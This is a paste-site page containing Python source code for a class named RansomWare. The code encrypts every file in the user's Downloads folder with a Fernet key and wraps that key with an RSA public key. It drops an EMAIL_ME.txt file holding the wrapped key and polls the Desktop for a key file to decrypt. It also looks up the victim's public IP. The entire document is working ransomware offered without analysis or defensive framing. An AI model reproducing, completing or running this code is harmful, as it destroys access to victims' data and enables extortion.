Untitled
unknown
plain_text
2 years ago
3.1 kB
10
Indexable
from cryptography.fernet import Fernet
import os
import ctypes
import urllib.request
import requests
import time
import datetime
import subprocess
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
class RansomWare:
file_exts = ['*']
def __init__(self):
self.key = None
self.crypter = None
self.public_key = None
self.publicIP = requests.get('https://api.ipify.org').text
self.downloads_path = os.path.join(os.path.expanduser('~'), 'Downloads')
def generate_key(self):
self.key = Fernet.generate_key()
self.crypter = Fernet(self.key)
def write_key(self):
with open('fernet_key.txt', 'wb') as f:
f.write(self.key)
def encrypt_fernet_key(self):
with open('fernet_key.txt', 'rb') as fk:
fernet_key = fk.read()
with open('fernet_key.txt', 'wb') as f:
self.public_key = RSA.import_key(open('public.pem').read())
public_crypter = PKCS1_OAEP.new(self.public_key)
enc_fernent_key = public_crypter.encrypt(fernet_key)
f.write(enc_fernent_key)
with open(os.path.join(self.downloads_path, 'EMAIL_ME.txt'), 'wb') as fa:
fa.write(enc_fernent_key)
self.key = enc_fernent_key
self.crypter = None
def crypt_file(self, file_path, encrypted=False):
with open(file_path, 'rb') as f:
data = f.read()
if not encrypted:
_data = self.crypter.encrypt(data)
else:
_data = self.crypter.decrypt(data)
with open(file_path, 'wb') as fp:
fp.write(_data)
def crypt_system(self, encrypted=False):
for root, dirs, files in os.walk(self.downloads_path):
for file in files:
file_path = os.path.join(root, file)
if not encrypted:
self.crypt_file(file_path)
else:
self.crypt_file(file_path, encrypted=True)
def put_me_on_desktop(self):
print('started')
while True:
try:
print('trying')
with open(os.path.join(os.path.expanduser("~"), 'Desktop', 'PUT_ME_ON_DESKTOP.txt'), 'r') as f:
self.key = f.read()
self.crypter = Fernet(self.key)
self.crypt_system(encrypted=True)
print('decrypted')
break
except Exception as e:
print(e)
pass
time.sleep(10)
print('Checking for PUT_ME_ON_DESKTOP.txt')
def main():
rw = RansomWare()
rw.generate_key()
rw.crypt_system()
rw.write_key()
rw.encrypt_fernet_key()
t2 = threading.Thread(target=rw.put_me_on_desktop)
t2.start()
print('> RansomWare: Target machine has been un-encrypted')
print('> RansomWare: Completed')
if __name__ == '__main__':
main()Editor is loading...
Leave a Comment